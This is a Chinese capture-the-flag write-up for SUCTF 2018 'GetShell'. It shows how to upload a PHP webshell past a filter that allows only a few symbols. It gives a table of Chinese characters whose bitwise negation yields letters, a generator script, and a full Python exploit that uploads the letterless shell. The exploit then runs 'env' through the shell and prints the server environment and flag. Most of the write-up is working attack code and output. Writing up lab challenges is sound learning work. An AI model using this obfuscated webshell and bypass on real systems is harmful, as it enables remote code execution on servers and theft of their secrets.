[SUCTF 2018]GetShell
思路
进入后发现提示传shell,但是有过滤

经过测试这个过滤非常严苛,能通过的可见字符仅有这些:

$().;=[]_~
仅用这些传shell,有点抽象,只能看WP了
解题
在这篇文章中作者给出了几种思路:一些不包含数字和字母的webshell | 离别歌
由于没给^,也没有给单引号和双引号,只能用汉字取反的方法了
原理:汉字的编码
字符可以通过汉字编码得到,比如a = ~(实[2])
这里给出转换表
a实[2]果[1]回[2]增[2]极[1]林[1]非[2]连[2]
b来[1]面[1]条[1]革[1]九[2]保[2]思[2]权[1]
c在[1]有[1]作[2]地[1]机[1]本[1]看[1]月[1]
d国[1]进[2]力[2]因[1]些[2]四[1]四[2]相[1]
e的[1]会[2]多[2]定[2]业[2]通[2]党[2]做[2]
f这[2]料[2]则[2]给[2]百[1]器[1]白[1]教[2]
g是[1]高[2]还[2]明[1]变[2]题[2]员[2]战[2]
h时[1]得[2]著[2]日[1]间[1]问[1]无[1]南[2]
i他[2]於[1]方[1]化[2]外[2]新[1]或[2]料[1]
j法[2]数[1]展[2]长[1]长[1]单[2]教[1]整[1]
k用[1]生[1]电[1]应[2]由[1]政[1]比[2]气[2]
l体[2]当[2]道[2]结[2]品[1]打[2]响[1]易[2]
m和[1]角[2]青[2]划[2]排[2]互[2]钢[1]钱[1]
n我[2]发[2]民[2]著[1]向[2]命[1]员[1]少[2]
o成[2]同[1]子[2]后[1]理[1]合[1]各[1]向[1]
p可[1]发[1]经[2]小[2]量[2]反[1]又[1]变[1]
q后[2]现[1]从[2]去[1]与[2]明[2]原[1]接[1]
r不[2]种[2]十[1]前[2]重[2]反[2]位[2]据[1]
s和[2]同[2]而[2]行[2]里[2]化[1]二[2]指[1]
t下[2]之[2]事[2]看[2]立[2]程[2]手[2]拉[1]
u上[2]动[1]力[1]加[1]把[1]把[2]及[2]花[1]
v有[2]所[1]三[2]等[2]物[1]前[1]义[2]特[1]
w我[1]到[1]分[1]成[1]制[1]合[2]又[2]利[1]
x出[1]过[2]里[1]自[1]量[1]重[1]文[2]指[2]
y了[2]分[2]理[2]内[1]但[2]军[1]将[2]农[1]
z其[1]全[1]关[1]内[2]公[1]情[2]者[2]党[1]
A得[1]社[2]很[1]设[2]边[1]图[2]较[1]放[2]
B国[2]作[1]能[2]都[2]体[1]当[1]使[1]好[2]
C於[2]会[1]开[1]麼[2]式[1]强[1]导[2]张[1]
D以[1]他[1]们[1]主[2]经[1]从[1]去[2]结[1]
E了[1]人[1]人[2]为[2]出[2]产[1]度[1]二[1]
F对[2]年[1]也[1]方[2]之[1]点[2]义[1]平[1]
G一[1]不[1]中[1]为[1]上[1]个[1]主[1]下[1]
H工[1]起[2]样[2]已[1]路[1]海[2]己[1]具[2]
I时[2]家[2]制[2]其[2]然[2]并[2]件[2]阶[2]
J电[2]起[1]资[1]流[1]海[1]济[1]走[1]况[2]
K年[2]说[2]水[2]间[2]质[1]直[2]活[1]头[2]
L法[1]平[2]关[2]系[1]想[2]决[2]即[2]至[2]
M没[1]已[2]色[2]治[1]油[1]史[2]精[1]亲[2]
N就[2]由[2]展[1]象[1]求[1]山[1]山[2]共[2]
O到[2]地[2]就[1]民[1]水[1]小[1]现[2]新[2]
P是[2]对[1]可[2]说[1]比[1]路[2]导[1]术[2]
Q定[1]家[1]实[1]它[1]问[2]设[1]管[1]计[1]
R中[2]子[1]学[1]等[1]正[1]此[1]热[2]六[2]
S们[2]本[2]第[1]第[2]公[2]次[1]转[2]马[2]
T高[1]立[1]别[2]被[2]身[2]八[2]叫[2]快[2]
U个[2]自[2]只[2]验[1]太[2]罪[2]未[2]纪[2]
V物[2]天[2]利[2]革[2]马[1]空[1]温[2]究[1]
W在[2]用[2]动[2]部[2]全[2]表[2]质[2]程[1]
X大[2]产[2]种[1]性[2]解[1]级[2]见[1]角[1]
Y要[1]学[2]度[2]如[1]带[2]车[2]离[1]书[2]
Z以[2]来[2]工[2]好[1]日[2]入[2]接[2]知[2]
转换的代码:
with open("chineseCharBypass.txt", 'r', encoding='utf-8') as fp:
lines = {line[:1]: line[1:].strip() for line in fp.readlines()}
# Split each line's value into chunks of fixed length
chunk_length = 4 # Example: split into chunks of 3 characters
lines = {key: [line[i:i + chunk_length] for i in range(0, len(line), chunk_length)] for key, line in lines.items()}
print(lines)
use = 1 # 用第几位的,比如[1]还是[2]
flag = "$___" # 替换1或2的
need = ["system", "_POST"] # 需要转换的字符串
length = 5 # 默认的起始的长度
for n in need:
tmp = ''
for c in n:
if tmp:
tmp += '.'
if c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
for i in lines[c]:
if i[2] == str(use):
tmp += '~' + i.replace(str(use), flag)
break
else:
tmp += c
print(f"${'_'*length}={tmp};")
length += 1
输出:
$_____=~化[$___].~内[$___].~化[$___].~拉[$___].~的[$___].~和[$___];
$______=_.~对[$___].~就[$___].~第[$___].~高[$___];
构造请求
这里给出完整的ipynb文件内容
import requests import string url = "http://013f073e-21b4-4117-a1cc-cc987a6dc3b4.node5.buuoj.cn:81/" url_upload = url + "index.php?act=upload"import re import time def get_res(str = None, file='test.txt', file_obj='test.txt'): files = { 'file': (file, open(file_obj, 'r', encoding='utf-8'), 'application/octet-stream'), 'submit': (None, '提交') } time.sleep(0.2) res = requests.post(url_upload, files=files) request = res.request if "illegal char" in res.text: # print(f'str: {str}'" -> error") pass else: print(f'str: {str}'" -> success") print(res.text)content = '<?=$_=[];'\ '$___=($_==$_);'\ '$_____=~化[$___].~内[$___].~化[$___].~拉[$___].~的[$___].~和[$___];'\ '$______=_.~对[$___].~就[$___].~第[$___].~高[$___];'\ '$_____($$______[_]);' print(content) file_obj = open('tmp/test13233.txt', 'w', encoding='utf-8') file_obj.write(content) file_obj.close() get_res(content, "11133.txt", "tmp/test13233.txt")## 输出 <?=$_=[];$___=($_==$_);$_____=~化[$___].~内[$___].~化[$___].~拉[$___].~的[$___].~和[$___];$______=_.~对[$___].~就[$___].~第[$___].~高[$___];$_____($$______[_]); str: <?=$_=[];$___=($_==$_);$_____=~化[$___].~内[$___].~化[$___].~拉[$___].~的[$___].~和[$___];$______=_.~对[$___].~就[$___].~第[$___].~高[$___];$_____($$______[_]); -> success <html> <head> <meta charset="utf-8"> <title>can you upload shell?</title> </head> <body> <center> <p>can you upload a shell?</P> <form action="index.php?act=upload" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="提交" /> </form> </center> </body> </html> Stored in: upload/ec53bc853c0c94f2bf546edd1a265425.phpcmd = "env" print(requests.post(url+"upload/ec53bc853c0c94f2bf546edd1a265425.php", data={'_': cmd}).text)## 输出 ArrayKUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.240.0.1:443 HOSTNAME=out APACHE_RUN_DIR=/var/run/apache2 APACHE_PID_FILE=/var/run/apache2/apache2.pid KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_USER=www-data APACHE_RUN_GROUP=www-data APACHE_LOG_DIR=/var/log/apache2 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443 KUBERNETES_SERVICE_HOST=10.240.0.1 PWD=/var/www/html/upload FLAG=flag{9cf7182e-089e-49b8-a667-3bba75a9feb9}## 测试有哪些字符能通过for i in string.printable: file_obj = open('test.txt', 'w', encoding='utf-8') file_obj.write('12345'+i) file_obj.close() get_res(i)## 输出 str: $ -> success str: ( -> success str: ) -> success str: . -> success str: ; -> success str: = -> success str: [ -> success str: ] -> success str: _ -> success str: ~ -> success str: -> success str: -> success -> success str: -> success str: -> success
注意
汉字取反绕过 无a-z0-9A-Z的马